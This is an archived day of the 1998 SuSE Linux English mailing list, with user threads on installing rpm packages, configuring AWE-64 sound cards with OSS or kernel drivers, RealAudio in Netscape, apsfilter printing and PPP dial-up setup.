this will work probably from *any* ftp server, though i never tried
anything else but SuSE's.

rpm -i ftp://servername/path/rpmfile> (same with update -U)

but to the Michaels original question:
SuSE 5.0 was the first attempt to rpm files.
the rpm-format has changed ever since. that's why it does not work.=20
Look into the SDB. There is an Artikle regarding this. Update rpm first.

J=C3=BCrgen

> > Hi Folks !
> >
> > I just downloaded a few versions of KDE Beta 4 stable. all as rpm - files.
> > (just to figure out, which are the best for my system)
> >
> > i'm using suse 5.0.
> >
> > ok, i tried to install the packages with 
> > but nothing worked !!!
> >
> > by installing the kdebase he said, that i have to install the qt libs and
> > the kde libs first.
> > by installing this packages he said: error - unknown header.
> >
> > do i something wrong ?
> > or are just the packages the wrong ones (i got them from the german suse
> > ftp-server).
> >
> > thanx for your help and please excuse this bad english, i'm still learning
> > . . .
> >
> > bye, Michael
> >
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From lsayre@integrityonline13.com Sun Jun 14 12:58:50 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Sun, 14 Jun 1998 07:58:50 -0500
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W.D.McKinney wrote:
> 
> "Fred A. Miller"  wrote:
> >
> > Yeah, I know.  There was some posts on how to setup a Sound Blaster
> > AWE-64, ISA.  All that mail is gone off an older system, so I don't have
> > it.  'Would like an assist for the best setup, I.E. take proper
> > advantage of the card.
> >
> > Thanks,
> >
> > Fred
> 
> I have a AWE64 Gold w/4megs and using SuSE 5.2 and the latest from OSS
> it works flawlessly. It is a 16bit card not PCI and nothing special
> was needed. Send me mail if you need more help.
> 
> -Dee
> 
> W.D.McKinney (Dee) -=- deem(a)wdm.com
> No claim to fame, just saved by Grace.

Have you managed to get it working flawlessly with RealAudio 5.0, using
the OSS driver?  
 
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From fm@lightlink.com Sun Jun 14 14:46:51 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Sun, 14 Jun 1998 10:46:51 -0400
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Michael Lankton wrote:
> 
> As long as we're on the subject,  anything over 800x600 and I get a
> horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
> capable of doing better at up to 1280x1024.  I dual boot, and this is
> this case in both os'es, so it isn't an x issue.  I'm just curious, is
> my graphics card or my monitor more likely to be the culprit?  I get
> outstanding image quality at 800x600, but at 1024x768 I get the wavy
> effect from too low a refresh rate.  I would hate to buy one of the new
> matrox g200 cards about to be released if it turns out my monitor is the
> problem.  Thanks in advance.

Mike, what card do you presently have? 

Fred


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From lsayre@integrityonline13.com Sun Jun 14 14:54:36 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] I have sound and RealAudio 5.0!
Date: Sun, 14 Jun 1998 09:54:36 -0500
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Following the excellent advice I've received right here at
'suse-linux-e(a)suse.com':

I've re-compiled my kernel for sound, and using 'isapnp', I've got my
Creative Labs SoundBlaster AWE32 PnP soundcard working without using the
OSS driver. (this works for the newer AWE64's also, per testimonies)

The benefits are:

        1) better sound
        2) RealAudio 5.0 works flawlessly

The OSS driver is flawed as far as RealAudio 5.0 is concerned.  For all
of the posters who have been suffering from the "it cuts out after only
about one second" RealAudio 5.0 syndrome, this is the answer!

Thanks to all who have helped me in these matters!!!!
 
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From cparman@cyberramp.net Sun Jun 14 15:17:43 1998
From: cparman@cyberramp.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Sun, 14 Jun 1998 10:17:43 -0500
Message-ID: <98061410213200.17242@TheWave>
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Hi Dee,

     I also have a Creative labs AWE-64 sound card (not the Gold model).
What is this 'OSS' , is it a SuSE utility package ? and where can I obtain th=
is
'OSS'. Also, what are the pit-falls in using this 'OSS' to configure AWE-64
sound card. Thank you for you help in advance.

Regards,

-Chris

 >I have a AWE64 Gold w/4megs and using SuSE 5.2 and the latest from OSS
>it works flawlessly. It is a 16bit card not PCI and nothing special=20
>was needed. Send me mail if you need more help.
>
>-Dee
>
>
>W.D.McKinney (Dee) -=3D- deem(a)wdm.com
>No claim to fame, just saved by Grace.
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From cparman@cyberramp.net Sun Jun 14 15:24:33 1998
From: cparman@cyberramp.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Printing problem
Date: Sun, 14 Jun 1998 10:24:33 -0500
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Hi Ken

      Thank you for the fast response your suggestion worked wonderfully.
I didn't realize that there was a 'rc' file associated with the printing, O
well. Thank you again for your help in this matter.

Regards,

-Chris

On Sat, 13 Jun 1998, you wrote:
>Happy to oblige, Chris-  I went thru the same thing two days ago!
>
>Here's your salvation (and yes, this pissed me off TREMENDOUSLY):
>
>Go into /etc/apsfilterrc .  Believe it or not, they documented everything
>right in the file!  Pretty darn cool-  would have been even cooler had I
>known to look there intitially!  You'll see a config paramter about halfway
>thru the file that has four options.  What you want, if you're like most
>people, is one page per sheet, no header.  Change the option to the one you
>REALLY want, and save the file.  That's it!  :)
>
>Any questions, give a shout.  I have a shared Windoesn't 95/Linux partition
>I can copy the file to  and then post it here if you get stuck.
>
>
>Ken Schuller
>Network Systems Specialist
>NovaNET Learning, Inc.
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From deem@wdm.com Sun Jun 14 15:51:10 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Sun, 14 Jun 1998 07:51:10 -0800
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Chris Parman  wrote:
>=20
> Hi Dee,
>=20
>      I also have a Creative labs AWE-64 sound card (not the Gold model).
> What is this 'OSS' , is it a SuSE utility package ? and where can I obtain =
this
> 'OSS'. Also, what are the pit-falls in using this 'OSS' to configure AWE-64
> sound card. Thank you for you help in advance.
>=20
> Regards,
>=20
> -Chris

Hi Chris,

Well after the last post it sounds like some folks are finding some other good
ways to get the sound out of an AWE64. OSS is a commercial app for sound.
See it at http://www.4front-tech.com> and there is a FREE version =
and the
commercial one available. One of the other users on the list has his=20
working without OSS though, so you might want to ask him.
See the e-mail below:
-----------------------------------------------------------------------------=
---
Following the excellent advice I've received right here at
'suse-linux-e(a)suse.com':

I've re-compiled my kernel for sound, and using 'isapnp', I've got my
Creative Labs SoundBlaster AWE32 PnP soundcard working without using the
OSS driver. (this works for the newer AWE64's also, per testimonies)

The benefits are:

        1) better sound
        2) RealAudio 5.0 works flawlessly

The OSS driver is flawed as far as RealAudio 5.0 is concerned.  For all
of the posters who have been suffering from the "it cuts out after only
about one second" RealAudio 5.0 syndrome, this is the answer!

Thanks to all who have helped me in these matters!!!!
=20
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From satan@nfinity.com Sun Jun 14 15:53:13 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Sun, 14 Jun 1998 10:53:13 -0500
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OSS is a set of sound drivers that are useful if your card is not
supported by the kernel drivers.  There is a feature-limited free
version of oss and a commercial release.

Chris Parman wrote:
>=20
> Hi Dee,
>=20
>      I also have a Creative labs AWE-64 sound card (not the Gold model).
> What is this 'OSS' , is it a SuSE utility package ? and where can I obtain =
this
> 'OSS'. Also, what are the pit-falls in using this 'OSS' to configure AWE-64
> sound card. Thank you for you help in advance.
>=20
> Regards,
>=20
> -Chris

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From mhtexcollins@ccms.net Sun Jun 14 15:53:41 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Networking - Internet
Date: Sun, 14 Jun 1998 10:53:41 -0500
Message-ID: <3583F205.3CE4043C@ccms.net>
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> THAT is the most confusing answer that I have ever heard!
> -
> --
> IMHO BEST Beginners book so far. Sams' Teach Yourself Linux in 24 hours.
> redhat press.
>
> -
> Celis Gran Cru and Linux;  Nowhere but South Austin Texas.
> -
> -
> -
> TEX             http://www.ccms.net/~=
mhtexcollins/78704.htm>
>
>
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From mgx@spruce.lsd.ornl.gov Sun Jun 14 16:05:56 1998
From: mgx@spruce.lsd.ornl.gov
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Sun, 14 Jun 1998 12:05:56 -0400
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chris ...

oss is a sound driver from 4front technologies. you can find out more
at:

        www.4front-tech.com

-- michael

Thus Spake: Chris Parman (cparman(a)cyberramp.net):
>=20
> Hi Dee,
>=20
>      I also have a Creative labs AWE-64 sound card (not the Gold model).
> What is this 'OSS' , is it a SuSE utility package ? and where can I obtain =
this
> 'OSS'. Also, what are the pit-falls in using this 'OSS' to configure AWE-64
> sound card. Thank you for you help in advance.
>=20
> Regards,
>=20
> -Chris
>=20
>=20
>  >I have a AWE64 Gold w/4megs and using SuSE 5.2 and the latest from OSS
> >it works flawlessly. It is a 16bit card not PCI and nothing special=20
> >was needed. Send me mail if you need more help.
> >
> >-Dee
> >
> >
> >W.D.McKinney (Dee) -=3D- deem(a)wdm.com
> >No claim to fame, just saved by Grace.
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From hattons@cpkwebser5.ncr.disa.mil Sun Jun 14 16:16:44 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] KDE Background problem
Date: Sun, 14 Jun 1998 12:16:44 -0400
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All,

I am having a problem  with my backgrounds in KDE 1.0b4.  I am not able
to get them to display.  The last significant change I made was setting
my mouse to an intellimouse.  This did not cause a problem immediately.
The problem came on suddenly, and without anything significant
immediately preceding it.  I have uninstalled then reinstalled the KDE
and all the X stuff.  I reinstalled all the qt stuff that I could find.
If I look in the .xsession-errors I see:

Warning: Could not attach SHM.
QPixmap::convertFromImage: Cannot convert a null image
KBackground::KBackground
KScreenSaver::KScreenSaver
KGeneral::KGeneral
KFM seems to be crashed !!!!!!! Running new KFM !!!!!!!!!!!!!!
Adding waiting: 135281896, 0
Adding waiting: 135281568, 0
emit documentStarted( this );
Adding waiting: 135281568, 1
Parsing : file:/root/
emit documentStarted( this );
Adding waiting: 135281896, 1
Parsing : file:/root/
Parsing done
emit documentDone( this );
Removed waiting: 135281896, 0
Parsing done
emit documentDone( this );
Removed waiting: 135281568, 0
KGeneral::KGeneral
KBackground::KBackground
QPixmap::convertFromImage: Cannot convert a null image
QGManager: not enough space for 1-item horizontal chain with 0 branches
QGManager: not enough space for 1-item horizontal chain with 0 branches
KScreenSaver::KScreenSaver
KColorScheme::KColorScheme
QPixmap::convertFromImage: Cannot convert a null image
Got background reload event
QPixmap::convertFromImage: Cannot convert a null image
Parsing : file:/opt/kde/share/doc/HTML/default/kppp/kppp.html
Parsing done

It looks to me that the problem is related to the line:
"QPixmap::convertFromImage: Cannot convert a null image"

Any Ideas?

TIA,

Steve


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From beastman@jump.net Sun Jun 14 16:48:53 1998
From: beastman@jump.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] I have sound and RealAudio 5.0!
Date: Sun, 14 Jun 1998 11:48:53 -0500
Message-ID: <000001bd97b4$506a67a0$084308cf@eastman1>
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How much memory does RealAudio 5.0 require?  I am not running Linux yet, but
am going to build a computer and it will have whatever version of S.u.S.E.
is available at the time.  I'm looking at hardware and making sure it is
compatable with S.u.S.E. 5.2.  I'm trying to pick a sound card.  Currently I
have a Creative Labs 16 Wav Effects CT4171 4W amp selected.  Will it work or
would I be better off getting AWE32 or AWE64?
>
> Following the excellent advice I've received right here at
> 'suse-linux-e(a)suse.com':
>
> I've re-compiled my kernel for sound, and using 'isapnp', I've got my
> Creative Labs SoundBlaster AWE32 PnP soundcard working without using the
> OSS driver. (this works for the newer AWE64's also, per testimonies)
>
> The benefits are:
>
> 	1) better sound
> 	2) RealAudio 5.0 works flawlessly
>
> The OSS driver is flawed as far as RealAudio 5.0 is concerned.  For all
> of the posters who have been suffering from the "it cuts out after only
> about one second" RealAudio 5.0 syndrome, this is the answer!


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From thrawn@hub.org Sun Jun 14 17:07:05 1998
From: thrawn@hub.org
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] German?!?!
Date: Sun, 14 Jun 1998 13:07:05 -0400
Message-ID: <001801bd97b6$db87e400$0a00a8c0@rdf.sdf1.net>
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Thanks, your a life saver :)

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Mark Wagnon
> Sent: Saturday, June 13, 1998 7:27 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] German?!?!
>=20
>=20
>=20
> Mark Wagnon wrote:
>=20
> > 2. Select the section menu item, which in english is Adjustments of
> >    Installation.
>=20
> oops!  "section" should read "second". Sorry ;-P
>=20
> > 3. Select the first option under the next menu which in English is
> > Select
> >     Language.
> > 4. Choose English and Exit back out of Yast.
> >=20
> > Luck,
> >=20
> > Mark
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From deem@wdm.com Sun Jun 14 18:54:41 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] RealAudio, Communicator & SuSE 5.2
Date: Sun, 14 Jun 1998 10:54:41 -0800
Message-ID: <199806141854.KAA11284@wdm.com>
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Ok, with all the discussion I thought I'd try to get
RealAdio up with my AWE64. Do you have to do anything special
to Communicator to get it to see the (plugins), files in
/opt/netcape/plugins/ ?

Like delete the libnull file ?

I didn't see anything referenced in the README.
Appreciate help from the folks who have climbed this mountain.

-Dee


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From satan@nfinity.com Sun Jun 14 19:33:03 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] RealAudio, Communicator & SuSE 5.2
Date: Sun, 14 Jun 1998 14:33:03 -0500
Message-ID: <3584256F.6D5E0FCD@nfinity.com>
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Well, all the information you need is in the documentation for
realplayer. There are detailed instructions included.  
What you need to do is
1.cp RAObserver.Class and RAPlayer.Class to your netscape/plugins dir
2.ln -s /yourrvplayerdir/librvplayer.so
/yournetscapedir/plugins/librvplayer.so
3.add your rvplayer dir to your path and your ld library path
4. DO NOT delete the default netscape plugin.

W.D.McKinney wrote:
> 
> Ok, with all the discussion I thought I'd try to get
> RealAdio up with my AWE64. Do you have to do anything special
> to Communicator to get it to see the (plugins), files in
> /opt/netcape/plugins/ ?
> 
> Like delete the libnull file ?
> 
> I didn't see anything referenced in the README.
> Appreciate help from the folks who have climbed this mountain.
> 
> -Dee
> 
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From satan@nfinity.com Sun Jun 14 19:44:44 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] /etc/apsfilterrc
Date: Sun, 14 Jun 1998 14:44:44 -0500
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Perhaps SuSE should just make 1n the default for apsfilter, since this
is how 99.950f us print anyway.  That would also prevent the
/etc/apsfilterrc issue from being addressed every other week on the
list.  Just my $.02

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From deem@wdm.com Sun Jun 14 19:58:17 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] RealAudio, Communicator & SuSE 5.2 *Update*
Date: Sun, 14 Jun 1998 11:58:17 -0800
Message-ID: <199806141958.LAA11780@wdm.com>
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Here's the scoop:

To get a SuSE 5.2 system up with OSS Commercial drivers and
RealAudio 5.0 I did the following:

Grabbed the following files -

rv50_linux20.tar.gz
RealAudio

osslinux39d-2034.tar.gz
OSS (This costs...$20.00)

Take oss files and put them in /tmp .
run ./oss-install and take the defaults as they work fine.

Next, take the RealAudio files and de-compress in a good place.
Open your browser to ~/rvplayer5.0/index.htm and follow the instructions
with caveat of doing this:=20

I put info on the location of RealAudio at=20
.bash_profile and here's mine:
----------------------------------------------------------------
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

# User specific environment and startup programs

PATH=3D$PATH:$HOME/bin:$HOME/.pgp:$HOME/rvplayer5.0
ENV=3D$HOME/.bashrc
USERNAME=3D"W.D.McKinney"

MOZILLA_HOME=3D/opt/netscape
export MOZILLA_HOME
export USERNAME ENV PATH
export PGPPATH=3D~/.pgp

LD_LIBRARY_PATH=3D$HOME/rvplayer5.0
     export LD_LIBRARY_PATH
-----------------------------------------------------------------

This is a quick fix and it works fine.=20
Here's the next step, move the files from=20

/rvplayer5.0/Mailcap & Mime.types and copy them to your home sub-directory
as .mime.types and .mailcap

These are important. You may just need to edit them if you have them already.

I'm listening to the radio now continuously with RealAudio and no problems at=
 all.

Best Regards
-Dee


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From lsayre@integrityonline13.com Sun Jun 14 21:12:33 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] I have sound and RealAudio 5.0!
Date: Sun, 14 Jun 1998 16:12:33 -0500
Message-ID: <35843CC1.51EDECD2@integrityonline13.com>
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Bill Eastman wrote:
> 
> How much memory does RealAudio 5.0 require?  I am not running Linux yet, but
> am going to build a computer and it will have whatever version of S.u.S.E.
> is available at the time.  I'm looking at hardware and making sure it is
> compatable with S.u.S.E. 5.2.  I'm trying to pick a sound card.  Currently I
> have a Creative Labs 16 Wav Effects CT4171 4W amp selected.  Will it work or
> would I be better off getting AWE32 or AWE64?
> >
> > Following the excellent advice I've received right here at
> > 'suse-linux-e(a)suse.com':
> >
> > I've re-compiled my kernel for sound, and using 'isapnp', I've got my
> > Creative Labs SoundBlaster AWE32 PnP soundcard working without using the
> > OSS driver. (this works for the newer AWE64's also, per testimonies)
> >
> > The benefits are:
> >
> >       1) better sound
> >       2) RealAudio 5.0 works flawlessly
> >
> > The OSS driver is flawed as far as RealAudio 5.0 is concerned.  For all
> > of the posters who have been suffering from the "it cuts out after only
> > about one second" RealAudio 5.0 syndrome, this is the answer!
> 
> --

I have 32 meg of ram.  I don't know if it will work with less, nor can I
speak for any other sound cards, since I've never had any other sound
card.

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Lawrence Sayre 
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From lsayre@integrityonline13.com Sun Jun 14 21:17:57 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] I have sound and RealAudio 5.0! (fwd)
Date: Sun, 14 Jun 1998 16:17:57 -0500
Message-ID: <35843E05.12DB8C1B@integrityonline13.com>
In-Reply-To: <[S.u.S.E. Linux] I have sound and RealAudio 5.0! (fwd)>
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W.D.McKinney wrote:
>=20
> Hmm...got this from 4Front today.
>=20
> >>>>> Forwarded message from 4Front Technologies 
>=20
> W.D.McKinney wrote:
> >
> > I'd really like to use the OSS product. Is this something you are
> > aware of ?
> >
> I'm not sure what the problem is....we have not heard about this through our
> tech support channels. So cutting out problem is something not related to O=
SS.
> It's possible that this gentleman's using the older version of the drivers =
that did
> have the problems...but it's been fixed. We haven't had one complaint since=
 3.9 version
> of OSS!.
>=20
> best regards
> Tech SUpport
>=20
> > Thanks
> > Dee McKinney (N0000077)
> >
> > >>>>> Forwarded message from Lawrence Sayre 
> >
> > Following the excellent advice I've received right here at
> > 'suse-linux-e(a)suse.com':
> >
> > I've re-compiled my kernel for sound, and using 'isapnp', I've got my
> > Creative Labs SoundBlaster AWE32 PnP soundcard working without using the
> > OSS driver. (this works for the newer AWE64's also, per testimonies)
> >
> > The benefits are:
> >
> >         1) better sound
> >         2) RealAudio 5.0 works flawlessly
> >
> > The OSS driver is flawed as far as RealAudio 5.0 is concerned.  For all
> > of the posters who have been suffering from the "it cuts out after only
> > about one second" RealAudio 5.0 syndrome, this is the answer!
> >
> > Thanks to all who have helped me in these matters!!!!
> >
> > -----------------------------------------------
> > Man's mind is his basic tool of survival!
> >
> > Lawrence Sayre 
> > -----------------------------------------------
> >
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> > <<  End forwarded message
>=20
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> 4Front Technologies
>=20
> 4035 Lafayette Place, Unit F, Culver City, CA 90232, USA.
>=20
> Tel: (310) 202 8530             URL: www.opensound.com
> Fax: (310) 202 0496             Email: info(a)opensound.com
> ---------------------------------------------------------------------
>=20
> <<  End forwarded message

The 'RealAudio problem' happens with which ever version of OSS comes
standard on the SuSE 5.2 Linux CD's. =20

Many at 'suse-linux-e(a)suse.com' have been complaining of this problem
since SuSE 5.2 was released.
=20
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From kc8chq@juno.com Sun Jun 14 21:49:56 1998
From: kc8chq@juno.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Networking - Internet
Date: Sun, 14 Jun 1998 17:49:56 -0400
Message-ID: <19980614.224928.2823.3.kc8chq@juno.com>
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As a Linux "newbie" I have many questions concerning setting internet
access
configuration.=20

Though I've managed to install SuSE 5.2, Debian 1.3.0, RedHat 5.0 and
OS/2 3.0 all
on same HDD I've not managed to wade through all the HOW-TOs on setting
up my internet access, which would include PPP and non-PPP(one person on
this list cordially sent me info on what his scripts looked like).

I'm spending time in "The Linux Bible" as well the HOW-TOs provided with
5.2(assuming them to be more up to date), but can anyone recommend a
concise book on what appears to be a rather "disconnected" subject.

Under KDE I can dial my modem, but get no further(I obviously have not
configured the system completely). Right now this is a puzzle and I'm not
certain, which pieces are needed to complete it. Any suggestions as to
where I can look?

Also, when I start SDB and Netscape comes up it looks for URLs, but of=20
course, can not get to them. When I start Netscape, alone, as focus moves
with the mouse cursor
Netscape goes black when when the mouse is over the desktop, but the
desktop goes
blurry, resolution goes very bad(I'm using the standard background) with
multiple colors. My video card is a Diamond Stealth 3D(not the Pro).

Also, any ideas on this?

Best regards,
Bob Russell
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From fm@lightlink.com Sun Jun 14 22:15:40 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] /etc/apsfilterrc
Date: Sun, 14 Jun 1998 18:15:40 -0400
Message-ID: <35844B8C.B99E34EA@lightlink.com>
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Michael Lankton wrote:
> 
> Perhaps SuSE should just make 1n the default for apsfilter, since this
> is how 99.950f us print anyway.  That would also prevent the
> /etc/apsfilterrc issue from being addressed every other week on the
> list.  Just my $.02

This, like a number of other things will change, IMHO.  Linux is quickly
moving towards being THE main-stream OS.....and it SHOULD be!  An OS for
those who don't want to have to muck around with setups, etc., and for
those who think there's nothing greater than playing around with the
kernel, or whatever.

Best,

Fred


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From homer@homer.com Sun Jun 14 22:18:34 1998
From: homer@homer.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] remove
Date: Sun, 14 Jun 1998 18:18:34 -0400
Message-ID: <008601bd97e2$5ea2e9e0$053294d0@ws1.westelcom.com>
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remove

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Michael Lankton
> Sent: Sunday, June 14, 1998 11:53 AM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] AWE-64
>
>
>
> OSS is a set of sound drivers that are useful if your card is not
> supported by the kernel drivers.  There is a feature-limited free
> version of oss and a commercial release.
>
> Chris Parman wrote:
> >
> > Hi Dee,
> >
> >      I also have a Creative labs AWE-64 sound card (not the Gold model).
> > What is this 'OSS' , is it a SuSE utility package ? and where
> can I obtain this
> > 'OSS'. Also, what are the pit-falls in using this 'OSS' to
> configure AWE-64
> > sound card. Thank you for you help in advance.
> >
> > Regards,
> >
> > -Chris
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From administrator@westelcom.com Sun Jun 14 22:34:35 1998
From: administrator@westelcom.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] REMOVE
Date: Sun, 14 Jun 1998 18:34:35 -0400
Message-ID: <000001bd97e4$9bc5c890$053294d0@ws1.westelcom.com>
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REMOVE

Brian Gordon
Westelcom Internet
administrator(a)westelcom.com
=
http://www.westelcom.com>
518-566-8376
518-566-8348=20

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From roberto@cbvcp.com Sun Jun 14 22:46:31 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] kernel/linux development
Date: Sun, 14 Jun 1998 15:46:31 -0700
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Is there any specific site that describes what the plan is for the next
couple years for the development of linux?


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From roberto@cbvcp.com Sun Jun 14 22:54:47 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] REMOVE
Date: Sun, 14 Jun 1998 15:54:47 -0700
Message-ID: <358454B7.2A1D7E46@cbvcp.com>
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I don't know what it is about you and homer, but why can't you look at
the bottom of the message?  It's in english, and you should have no
problems with it.

Brian Gordon wrote:

> REMOVE
>
> Brian Gordon
> Westelcom Internet
> administrator(a)westelcom.com
> http://www.westelcom.com>
> 518-566-8376
> 518-566-8348
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From schullersite@worldnet.att.net Sun Jun 14 23:06:59 1998
From: schullersite@worldnet.att.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Networking - Internet
Date: Sun, 14 Jun 1998 18:06:59 -0500
Message-ID: <000001bd97e9$22596520$d0a4410c@schuller>
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Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Robert C. Russell
> Sent: Sunday, June 14, 1998 4:50 PM
> To: suse-linux-e(a)suse.com
> Subject: [S.u.S.E. Linux] Networking - Internet
>
>
>
> As a Linux "newbie" I have many questions concerning setting internet
> access
> configuration.
>
> Though I've managed to install SuSE 5.2, Debian 1.3.0, RedHat 5.0 and
> OS/2 3.0 all
> on same HDD I've not managed to wade through all the HOW-TOs on setting
> up my internet access, which would include PPP and non-PPP(one person on
> this list cordially sent me info on what his scripts looked like).
>
> I'm spending time in "The Linux Bible" as well the HOW-TOs provided with
> 5.2(assuming them to be more up to date), but can anyone recommend a
> concise book on what appears to be a rather "disconnected" subject.
>
> Under KDE I can dial my modem, but get no further(I obviously have not
> configured the system completely). Right now this is a puzzle and I'm not
> certain, which pieces are needed to complete it. Any suggestions as to
> where I can look?

There's a bunch of things that need to happen for a PPP connect.

1.  The pppd on your system has to be a binary, not just a script.  That's
the first thing to check.
2.  Your kernel has to support PPP-  "out of the box" the SuSE 5.2 kernel
does not.  This means you have to recompile the kernel using "make xconfig".
3.  (This is where I screwed up) "make dep clean zImage" just builds the
kernel, not modules.  After the kernel's done making, you _have_ to make the
modules.

If you're dialing in, and you get past authentication, either pppd will
start, or it won't.  If it won't, look at pppd.  If it will, try recompiling
the kernel.

Keep in mind you can make a bootable floppy with a new kernel on it to play
with before you make one to boot thru LILO.  This means you can play around
pretty safely just by booting from floppy.

Feel free to e-mail me directly if you need more detail on this stuff, and
don't feel bad-  it took me months because I glossed over the part in kernel
recompiling when they mentioned the "make modules" issue.  :)

Hope this helps,

Ken

>
> Also, when I start SDB and Netscape comes up it looks for URLs, but of
> course, can not get to them. When I start Netscape, alone, as focus moves
> with the mouse cursor
> Netscape goes black when when the mouse is over the desktop, but the
> desktop goes
> blurry, resolution goes very bad(I'm using the standard background) with
> multiple colors. My video card is a Diamond Stealth 3D(not the Pro).
>
> Also, any ideas on this?
>
>
> Best regards,
> Bob Russell
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From satan@nfinity.com Sun Jun 14 23:43:04 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] There's a PLAN???
Date: Sun, 14 Jun 1998 18:43:04 -0500
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subscribe to the linux kernel mailing list, but be warned that knowledge
of c and of the kernel source is a prerequisite if you want to
understand any of the discussion

Jim Hodgers wrote:
> 
> Aaron sez:
> >Is there any specific site that describes what the plan is for the next
> >couple years for the development of linux?
> >
> >--
> >Aaron Seelye 
> >
> Subject line sez it all.
> Jim

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I hate to be insensitive, but to anyone wanting to unsubscribe, rtfm,
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From satan@nfinity.com Sun Jun 14 23:46:08 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] kernel/linux development
Date: Sun, 14 Jun 1998 18:46:08 -0500
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http=
://www.linuxhq.com>
join the kernel mailing list, that's where a lot of the development is
discussed

Aaron Seelye wrote:
>=20
> Is there any specific site that describes what the plan is for the next
> couple years for the development of linux?
>=20
> --
> Aaron Seelye 
> http://revolution.3-cities.com/~roberto>
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From beastman@jump.net Sun Jun 14 23:46:44 1998
From: beastman@jump.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] kernel/linux development
Date: Sun, 14 Jun 1998 18:46:44 -0500
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I just saw that S.u.S.E. 5.3 is planned for August 1998.=20
http://www.linuxbuyersguide.com/>

And follow some links from there.

> -----Original Message-----
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> Behalf Of Aaron Seelye
> Sent: Sunday, June 14, 1998 5:47 PM
> To: Suse List
> Subject: [S.u.S.E. Linux] kernel/linux development
>=20
>=20
>=20
> Is there any specific site that describes what the plan is for the next
> couple years for the development of linux?
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> --
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From hettar@teleport.com Sun Jun 14 23:59:19 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Networking - Internet
Date: Sun, 14 Jun 1998 16:59:19 -0700
Message-ID: <358463D7.1105DFFD@teleport.com>
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Kenneth W. Schuller wrote:

> Ken Schuller
> Network Systems Specialist
> NovaNET Learning, Inc.
>
>
>
> > Though I've managed to install SuSE 5.2, Debian 1.3.0, RedHat 5.0 and
> > OS/2 3.0 all
> > on same HDD I've not managed to wade through all the HOW-TOs on setting
> > up my internet access, which would include PPP and non-PPP(one person on
> > this list cordially sent me info on what his scripts looked like).
> >

Well you should start somewhere. Its a good thing to read the HOWTO's

> > I'm spending time in "The Linux Bible" as well the HOW-TOs provided with
> > 5.2(assuming them to be more up to date), but can anyone recommend a
> > concise book on what appears to be a rather "disconnected" subject.

Linux in a Nut Shell is a good book.

> > Under KDE I can dial my modem, but get no further(I obviously have not
> > configured the system completely). Right now this is a puzzle and I'm not
> > certain, which pieces are needed to complete it. Any suggestions as to
> > where I can look?
>

SuSE 5.2's PPP connection config gui program is a bit "not working fully"Best
bet is to read the ppp HOWTO on sunsite http://sunsite.unc.edu/mdw>
If you still need help and want an easy fix. You can try my script at
http://www.teleport.com/~hettar/linux.htm=
l>  (with step by step)

> There's a bunch of things that need to happen for a PPP connect.
>
> 1.  The pppd on your system has to be a binary, not just a script.  That's
> the first thing to check.
> 2.  Your kernel has to support PPP-  "out of the box" the SuSE 5.2 kernel
> does not.  This means you have to recompile the kernel using "make xconfig".

Your wrong here, out of the box SuSE 5.2 does indeed support PPP.

> 3.  (This is where I screwed up) "make dep clean zImage" just builds the
> kernel, not modules.  After the kernel's done making, you _have_ to make the
> modules.
>

Best throw your old modules into modules.backup. Then build the new modules.

> Keep in mind you can make a bootable floppy with a new kernel on it to play
> with before you make one to boot thru LILO.  This means you can play around

Hey guys try not to send your emails/postings in HTML rich format.

Steve Udell
